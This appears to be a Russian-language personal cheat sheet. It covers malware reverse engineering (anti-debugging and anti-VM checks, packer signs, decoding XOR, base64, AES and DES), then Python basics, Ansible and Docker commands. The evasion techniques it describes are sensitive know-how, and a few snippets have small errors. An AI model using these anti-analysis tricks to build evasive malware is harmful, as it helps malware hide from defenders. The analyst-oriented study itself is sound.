при обнаружении красных строк перехода (; CODE XREF: .text:00401021^j) нажимаем на них и букву "D" и потом на все строки с db нажимаем кнопку "C", пока не появится нормальный ассемблер. После того все исправлено, выделяем участок кода и нажимаем на букву "P", для того чтобы из участка кода сделать функцию, которую можно проанализировать. Или же смотрим на "cmp" и думаем что от нас ждут.

[Антиотладка]

#IsDebuggerPresent.
Самая простая API-функция для обнаружения отладчика. Она ищет в структуре блока операционного окружения процесса (process environment block, PEB) поле IsDebugged. Если оно равно нулю, выполнение происходит вне контекста отладчика; в противном случае отладчик подключен. Мы обсудим структуру PEB более подробно в следующем разделе.

#CheckRemoteDebuggerPresent.
Эта API-функция почти не отличается от IsDebuggerPresent. Однако ее имя может ввести в заблуждение, потому что она ищет не отладчик на удаленном компьютере, а процесс в локальной системе. Она тоже проверяет поле IsDebugged в структуре PEB, но может делать это как для себя, так и для другого локального процесса. Эта функция принимает в качестве аргумента дескриптор процесса и затем проверяет, подключен ли к этому процессу отладчик. Чтобы проверить текущую программу, нужно просто передать дескриптор ее процесса.

#NtQueryInformationProcess.
Эта системная API-функция находится в библиотеке Ntdll.dll и извлекает сведения о заданном процессе. Первым ее аргументом является дескриптор процесса, а второй определяет тип информации,
которую нужно получить. Например, если указать для этого аргумента значение ProcessDebugPort (или 0x7), можно будет узнать, отлаживается ли соответствующий процесс в данный момент. При обнаружении отладчика возвращается номер порта; в противном случае вы получите ноль.

#OutputDebugString.
Эта функция позволяет передать отладчику строку, чтобы тот ее отобразил. Она может использоваться для обнаружения присутствия отладчика. Например, в листинге 16.1 функция SetLastError присваивает текущему коду ошибки произвольное значение. Если на момент вызова OutputDebugString отладчик не подключен, функция GetLastError должна вернуть нам не то значение, которое мы установили, потому что при неудачном выполнении функция

#OutputDebugString
устанавливает собственный код ошибки. При наличии подключенного отладчика вызов OutputDebugString должен завершиться успешно, а значение GetLastError должно остаться прежним.

Возможна реализация антиотладки путем поиска процесса OllyDBG(например) в системе. При обнаружении такого запущенного процесса, программа завершается.

Возможна реализация антиотладки путем сверки времени

Вредонос может вычислить контрольную сумму на участке своего кода. Это дает тот же результат, что и поиск прерываний, но вместо байтов 0xCC ищется либо циклический избыточный код (cyclic redundancy check, CRC), либо контрольная сумма опкодов вредоноса типа MD5. Этот прием пользуется меньшей популярностью, чем сканирование, но не уступает ему в эффективности. Чтобы выявить его, ищите код, в котором вредонос перебирает собственные инструкции, сравнивая их с ожидаемым значением. Для борьбы с этой методикой можно использовать аппаратные точки останова или ручное редактирование маршрута выполнения во время отладки программы.

[Методы противодействия виртуальным машинам]

Возможна реализация противодействия путем поиска в системе процессов связанных с виртуальными машинами, например VMwareService.exe, VMwareTray.exe и VMwareUser.exe
Следы можно найти как в реестре, так и в установочном каталоге C:\ProgramFiles\VMware\VMware Tools.

Возможные пути решения

1. Модифицировать двоичный файл во время отладки, чтобы исключить переход по адресу 0x4010a5.
2. Заменить в hex-редакторе строку VMwareTray.exe на XXXareTray.exe, чтобы сравнение было неудачным (поскольку процесса с таким именем нет).
3. Удалить из системы пакет VMware Tools, чтобы служба VMwareTray.exe больше не запускалась.

#Самые популярные инструкции, которые используются во вредоносном ПО для борьбы с виртуальными машинами:
sidt;
sgdt;
sldt;
smsw;
str;
in (второй операнд должен быть равен VX);
cpuid.

Обычно вредоносные программы используют эти инструкции с одной целью — обнаружить VMware. Вам достаточно модифицировать двоичный файл, чтобы предотвратить их вызов. Эти инструкции практически бесполезны в пользовательском режиме, поэтому их наличие, скорее всего, говорит об использовании в коде методики анти-ВМ. В VMware виртуализации «не поддаются» примерно
20 инструкций, и те из них, которые чаще других используются во вредоносном ПО, перечислены выше.

#Выделение кода анти-ВМ в IDA Pro
В IDA Pro поиск инструкций, перечисленных в предыдущем разделе, можно выполнить с помощью скрипта IDAPython. Этот скрипт ищет инструкции, выделяет их красным цветом и показывает в окне вывода IDA, сколько всего их было найдено.

Скрипт для IDA Pro, который ищет инструкции анти-ВМ:

```
from idautils import *
from idc import *
heads = Heads(SegStart(ScreenEA()), SegEnd(ScreenEA()))
antiVM = []
for i in heads:
 if (GetMnem(i) == "sidt" or GetMnem(i) == "sgdt" or GetMnem(i) == "sldt" or
GetMnem(i) == "smsw" or GetMnem(i) == "str" or GetMnem(i) == "in" or GetMnem(i) ==
"cpuid"):
 antiVM.append(i)
print "Number of potential Anti-VM instructions: %d" % (len(antiVM))
for i in antiVM:
 SetColor(i, CIC_ITEM, 0x0000ff)
 Message("Anti-VM: %08x\n" % i)
```

[Упаковщики и распаковка]

#В следующем списке собраны признаки, которые помогут вам понять, является ли программа упакованной.

Программа импортирует слишком мало вызовов, особенно если это только LoadLibrary и GetProcAddress.

Если открыть программу в IDA Pro, автоматический анализ распознает лишь небольшую часть кода.

При открытии файла в OllyDbg вы видите предупреждение о том, что программа может быть упакована.

Программа содержит разделы, чьи имена указывают на определенный упаковщик (такой как UPX0).

Разделы программы имеют необычный размер: например, если у раздела .text в поле Size of Raw Data указано значение 0, а в Virtual Size — ненулевое значение.

Для обнаружения упаковщиков можно использовать специальные инструменты, такие как PEiD.

Деобфускация/расшифрование

```
MZ -  4d 5a (hex)
This program -  54 68 69 73 20 70 72 6f 67 72 61 6d 20 (hex)
```

[Методы обфускации вредоносных программ]

```
# Расшифровка шифра Цезаря в Python

>>> chr_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
>>> key = 3
>>> cipher_text = "CHXV"
>>> plain_text = ""
>>> for ch in cipher_text:
 j = chr_set.find(ch.upper())
 plain_index = (j-key) % len(chr_set)
 plain_text += chr_set[plain_index]
>>> print plain_text
ZEUS


# Кодирование и декодирование Base64

>>> import base64
>>> plain_text = "One"
>>> encoded = base64.b64encode(plain_text)
>>> print encoded
T25l
Чтобы декодировать данные base64 в Python, используйте:
>>> import base64
>>> encoded = "T25l"
>>> decoded = base64.b64decode(encoded)
>>> print decoded
One

# Декодирование пользовательской версии Base64 (необходимо установить какие символы заменены)

>>> import base64
>>> encoded = "cGFzc3dvcmQxMjM0IUA_PUB-"
>>> encoded = encoded.replace("-","+").replace("_","/")
>>> decoded = base64.b64decode(encoded)
>>> print decoded
```

[нестандартный base64]

```
import string
import base64
s = ""
tab = 'CDEFGHIJKLMNOPQRSTUVWXYZABcdefghijklmnopqrstuvwxyzab0123456789+/'
b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
ciphertext = 'BInaEi=='
for ch in ciphertext:
 if (ch in tab):
 s += b64[string.find(tab,str(ch))]
 elif (ch == '='):
 s += '='
print base64.decodestring(s)

ПРИМЕЧАНИЕ
Код является универсальным и может быть адаптирован
под любую нестандартную реализацию Base64. Для этого достаточно переопределить переменную tab.
```

[AES (Rijndael)]

```
from Crypto.Cipher import AES
import binascii
raw = ' 37 f3 1f 04 51 20 e0 b5 86 ac b6 0f 65 20 89 92 ' + \
' 4f af 98 a4 c8 76 98 a6 4d d5 51 8f a5 cb 51 c5 ' + \
' cf 86 11 0d c5 35 38 5c 9c c5 ab 66 78 40 1d df ' + \
' 4a 53 f0 11 0f 57 6d 4f b7 c9 c8 bf 29 79 2f c1 ' + \
' ec 60 b2 23 00 7b 28 fa 4d c1 7b 81 93 bb ca 9e ' + \
' bb 27 dd 47 b6 be 0b 0f 66 10 95 17 9e d7 c4 8d ' + \
' ee 11 09 99 20 49 3b df de be 6e ef 6a 12 db bd ' + \
' a6 76 b0 22 13 ee a9 38 2d 2f 56 06 78 cb 2f 91 ' + \
' af 64 af a6 d1 43 f1 f5 47 f6 c2 c8 6f 00 49 39 '
ciphertext = binascii.unhexlify(raw.replace(' ',''))
obj = AES.new('ijklmnopqrstuvwx', AES.MODE_CBC)
print 'Plaintext is:\n' + obj.decrypt(ciphertext)

raw - зашифрованный сетевой трафик
ijklmnopqrstuvwx - ключ найденный в IDA


# XOR-шифрование

#обнаружение xor

search -> text... -> xor (find all occurencess) -> так мы находим все xor в коде, и теперь нужно найти тот xor,
который отвечает за кодирование информации
обычно это выглядит так "xor ecx, 12", а так же, если посмотреть блок схему, то можно увидеть xor в цикле и
проверку (cmp) на превышение какого то числа

#Однобайтовый XOR
```

В однобайтовом XOR каждый байт открытого текста шифруется ключом шифрования. Например, если злоумышленник хочет зашифровать открытый текст cat с помощью ключа 0x40, то каждый символ (байт) в тексте шифруется с помощью 0x40, что приводит к зашифрованному тексту #!4.

```
c -> 0x63 -> 0x64 - 0x40 = 0x23 -> #
a -> 0x61 -> 0x61 - 0x40 = 0x21 -> !
t -> 0x74 -> 0x74 - 0x40 = 0x34 -> 4
```

Ниже приведен простой скрипт на Python для выполнения расшифровки XOR (эту же функцию можно использовать и для шифрования):

```
def xor(data, key):
 translated = ""
 for ch in data:
 translated += chr(ord(ch) ^ key)
 return translated
if __name__ == "__main__":
 out = xor("#!4", 0x40)
 print out
```

https://cysinfo.com # материалы и тулзы

[Идентификация криптографических подписей с помощью Signsrch]

Этот инструмент использует криптографические подписи для обнаружения алгоритмов шифрования. Криптографические подписи находятся в текстовом файле signsrch.sig. В следующем листинге, когда signrch запускается с опцией -e, он отображает относительные виртуальные адреса, где сигнатуры DES были обнаружены в двоичном файле:

```
signsrch.exe -e kav.exe
```

Как только вы узнаете адрес, по которому находятся криптографические индикаторы, вы можете использовать IDA для перехода по адресу. Например, если вы хотите перейти по адресу 00410438 (DES initial permutation IP), загрузите двоичный файл в IDA и выберите Переход | Переход по адресу (или воспользуйтесь горячей клавишей G) и введите адрес.Теперь, чтобы узнать, где и как этот криптоиндикатор используется в коде, вы можете использовать функцию перекрестных ссылок (Xrefs-to). Использование функции перекрестных ссылок (Xrefs to) показывает, что на DES_ip ссылается функция sub_4032B0 по адресу 0x4032E0 (loc_4032E0). Теперь навигация по адресу 0x4032E0 напрямую приведет вас к функции шифрования DES, как показано ниже. Как только функция шифрования найдена, вы можете использовать перекрестные ссылки для дальнейшего ее изучения, чтобы понять, в каком контексте вызывается функция шифрования и ключ, который используется для шифрования данных.

Вместо того чтобы использовать опцию -e, чтобы найти подпись и затем вручную перейти к коду, в котором используется подпись, вы можете использовать опцию -F, которая даст вам адрес первой инструкции, где используется криптографический индикатор. В следующем листинге при запуске signrch с параметром -F напрямую отображается адрес 0x4032E0, где в коде используется криптоиндикатор DES initial permutation IP (DES_ip).

Метод кодирования	Описание
ADD, SUB	Алгоритм может использовать операции ADD и SUB для отдельных байтов по аналогии с XOR. Эти операции не являются обратимыми, поэтому они должны применяться в связке друг с другом (одна для кодирования, другая для декодирования)
ROL, ROR	Эти инструкции переставляют биты внутри байта справа налево. Как и в предыдущем случае, их нужно использовать вместе, поскольку они необратимые
ROT	Это оригинальный шифр Цезаря. Обычно он используется для алфавитных (A-Z и a-z) или просто печатных символов (которых в стандартной кодировке ASCII насчитывается 94)
Многобайтный	Алгоритм может использовать более длинный ключ — часто размером 4 или 8 байт. Для удобства операция XOR обычно применяется к каждому блоку
Сцепленный, или циклический	Этот алгоритм использует в качестве ключа часть содержимого. У него может быть много разных реализаций. Обычно к первому или последнему символу текста применяется исходный ключ, а затем закодированный результат используется как ключ для кодирования следующего символа

[Обнаружение криптографии]

1. в строках может быть упоминание крипт. библиотеки OpenSSL
2. в Windows большинство функций, имеющих отношение к криптографии, начинается с Crypt, CP (cryptographic provider) или Cert (хотя бывают и исключения)
3. FindCrypt2 (IDA plugin)
4. Krypto ANALyzer (PEid plugin)

Расшифрование DES:

```
from Crypto.Cipher import DES
import sys
obj = DES.new('password',DES.MODE_ECB)
cfile = open('encrypted_file','r')
cbuf = f.read()
print obj.decrypt(cbuf)
```

python prog

Строки:

```
names='james,anna,eva,larisa,vova,artem,andrey'

names.endswith('andrey') - проверка заканчивается ли строка на слово (True/False)
names.startswith('james') - проверка начинается ли строка со слова (True/False)
names.count('anna') - количество раз которое слово встречается в строке
names.split(',') - разделение по символу
'vova' in names - проверка на наличии слова в строке (True/False)
len(names) - количество символов в строке
```

Списки:

```
animals=["cat","bear","lion","rabbit"]

animals[0] - выводит первый элемент списка
animals[:3] - выводит первые три элимента списка, так же можно и наоборот [-3]
animals.insert(1,"lion") - добавляет элемент во вторую позицию
animals1=animals.copy() - копирует список в другой список
del animals[1] - удаляет элемент в 1-ой позиции
animals.remove('cat') - удаляет элемент "cat"
animals.append('chicken') - добавляет слово в конец списка
animals.pop(1) - выводит и удаляет 1-ый элемент списка
animals.index('lion') - выводим индекс элемента "lion"
animals.sort() - сортирует по порядку
```

Словари:

```
dict={"weather":"sun",
      "machine":"ferrari",    1-ключ, 2-значение
      "animals":"cat"}

dict[weather]
dict['weather']='cloud'
dict2=dict.copy()
dict.update(dict2)
del dict['weather']
dict.clear()
'weather' in dict
dict.keys()
dict.values()
dict.items()
```

hack with python

```
#encode base64
import base64
s="Hello world"
b=s.encode('utf-8')
e=base64.b64encode(b)
z=e.decode('utf-8')
print(z)

#decode base64
x=z.encode('utf-8')
m=base64.b64decode(x)
n=m.decode('utf-8')
print(n)


#request

#// получаем запрашиваемую страницу

import urllib.request as ur
url='https://google.com'
conn=ur.urlopen(url)
data=conn.read()

#// получаем заголовки ответа

import urllib.request as ur
url='https://google.com'
conn=ur.urlopen(url)
for name,key in conn.getheaders():
    print(name,key)

#// статус ответа

print(conn.status)
```

admin

```
# os система

#import os

os.path.exists('file.txt')  - проверяет наличие файла
os.path.isfile('file.txt')  - проверяет файл ли это
os.path.isdir('/dir')  - директория ли это
os.rename('file.txt','file1.txt')  - переименовывает файл
os.link('file.txt','hardfile.txt')  - создает жесткую ссылку
os.symlink('file.txt','symfile.txt')  - создает символическую ссылку
os.path.islink('symfile.txt')  - проверяет ссылка ли это
os.path.abspath('file.txt')  - выводит абсолютный путь файла
os.path.real.path('symfile.txt')  - выводит путь до оригинального файла у ссылки
os.remove('file.txt')  - удаление файла
os.mkdir('/dir')  - создание директории
os.rmdir('/dir')  - удаление диреткории
os.listdir()  #   - выводит содержимое директории
os.chdir()    #   -изменяет текущую директорию
#import shutil
shutil.copy('file.txt','file2.txt')  - копирование файла
#import glob
glob.glob('m*') - совпадающие имена, в данном случае с "m"


# процессы

os.getpid()  - получение номера процесса
os.getcwd()  - владелец процесса вроде
os.getuid()  - уид кто запустил
os.getgid()  - гид кто запустил

#import subprocess
ret=subprocess.getoutput('uname -a')  -- получаем вывод
print(ret)

ret=subprocess.call('date')  - вывод статуса команды
ret=subprocess.call('date -u', shell=True) - то же самое, но с параметрами в команде
```

admin

ansible

ADMIN

```
apt-get install ansible
apt-get install openssh-server
adduser ansible
su ansible
mkdir ~/ansible
cd ~/ansible

vim ~/ansible/ansible.cfg
----
[defaults]
hostfile = ~/ansible/inventory
sudo_user=ansible
----
vim ~/ansible/inventory
[ansible1]
x.x.x.x(IP)
alias ansible_ssh_host=x.x.x.x
----
ssh-keygen
ssh-copy-id ansible@x.x.x.x
ansible ansible1 -m ping
```

NODA

```
apt-get install openssh-server
```

```
------------------------------
ansible nginx -m command -a "uname -r"  --- версия ядра
ansible nginx -m systemd -a name=firewalld --- статус МЭ
ansible nginx -m yum -a "name=epel-release state=present" -b --- установим пакет epel-release

------------------------------
```

Playbook:

```
vim ~/ansible/epel.yml


---
- name: Install EPEL Repo
  hosts: nginx
  become: true
  tasks:
    - name: Install EPEL Repo package from standart repo
      yum:
        name: epel-release
        state: present
```

ELK

Elasticsearch+logstash+kibana+filebeat настройка на centos7 есть в github

Философия

Для того чтобы группа администраторов была успешной, необходимо придерживаться двух важных приниципов:

1) Отслеживание заявок клиентов (приоритезация, контроль)

Пример: смена пароля у пользователя

Установите ПО для автоматизированной поддержки клиентов, систему отслеживания запросов, очередь или доску Kanban

2) Устранение "пожирателей времени"

Пример: автоматизация развертывания новых машин

Запускайте все новые машины с одинаковыми параметрами, автоматизируя инсталляцию и конфигурирования операционной системы и приложений

3) Внедрение принципов CI/CD (continuous integration and delivery) для программного обеспечения

Процесс передачи нового ПО в производство должен быть автоматизирован с помощью принципов DevOps, таких как непрерывная интеграция и доставка

network

```
route add -net 192.168.0.0/24 gw 192.168.1.33

/etc/network/interfaces
auto lo
iface lo inet loopback
auto ens33
iface ens33 inet static    -> # настройка сетевого интерфейса на ubuntu*
address 192.168.1.100
netmask 255.255.255.0
gateway 192.168.1.1
```

docker

```
#Docker

#Чтобы запушить это дерьмо на докерхаб(это пиздец):
docker login docker.io #--- логинимся
docker tag <image id>  cadb35fb6709/ddos_nginx:latest  #--- переименовываем образ и добавляем тег
docker push cadb35fb6709/nginx_ddos:tagname #--- пушим (берем команду из репозитория докерхаба)


Make sure you have tagged your image in this format:
{{username}}/{{imagename}}:{{version}}


docker login #--- вход в реестр


docker search nginx #--- поиск контейнера
docker create -t -i eon01/infinite --name infinite  #---   Создание контейнера
docker run -it --name infinite -d eon01/infinite #--- Первый запуск контейнера
docker rename <container id> <rename container name> #--- Переименование контейнера
docker rm infinite  # ---Удаление контейнера
docker start nginx  # --- запуск
docker stop nginx # ---- Остановка
docker restart nginx #--- Перезагрузка
docker pause nginx  #--- Пауза (приостановка всех процессов контейнера)
docker unpause nginx  #---Снятие паузы
docker wait nginx   # ---Блокировка (до остановки контейнера)
docker commit <container id> #--- изменение образа, из которого был сделан контейнер

docker run -d -p port:port container_name #--- прокидывание портов на хост
docker exec -it container_name bash #--- запуск bash в контейнере

docker ps   # ---Работающие контейнеры
docker ps -a #--- Работающие контейнеры
docker logs infinite  # --- Логи контейнера
docker inspect infinite  # --- информация о контейнере
docker port infinite
docker images   #---- Список образов
docker build . #--   Создание образов
docker rmi nginx #---  Удаление образа
docker network create -d overlay MyOverlayNetwork #----  создание сети в контейнере
docker network create -d bridge MyBridgeNetwork  #---   создание сети в контейнере

docker network create -d overlay \
  --subnet=192.168.0.0/16 \
  --subnet=192.170.0.0/16 \
  --gateway=192.168.0.100 \
  --gateway=192.170.0.100 \
  --ip-range=192.168.1.0/24 \
  --aux-address="my-router=192.168.1.5" --aux-address="my-switch=192.168.1.6" \
  --aux-address="my-printer=192.170.1.5" --aux-address="my-nas=192.170.1.6" \
  MyOverlayNetwork


docker network rm MyOverlayNetwork #----   Удаление сети
docker network ls #---  Список сетей
docker network inspect MyOverlayNetwork  #----  Получение информации о сети
docker network connect MyOverlayNetwork nginx  #---  Подключение работающего контейнера к сети
docker run -it -d --network=MyOverlayNetwork nginx #---  Подключение контейнера к сети при его запуске
docker network disconnect MyOverlayNetwork nginx  #---  Отключение контейнера от сети
docker rm nginx #---  Удаление работающего контейнера
docker container prune #---  Удаление всех остановленных контейнеров
docker stop $(docker ps -a -q) && docker rm $(docker ps -a -q)   #--- Остановка и удаление всех контейнеров

docker save -o ~/myimage1.tar my/image1:latest #--- сохраняем контейнер в виде tar-архива
docker load -i ~/myimages/myimage1.tar         #--- выгружаем образ
```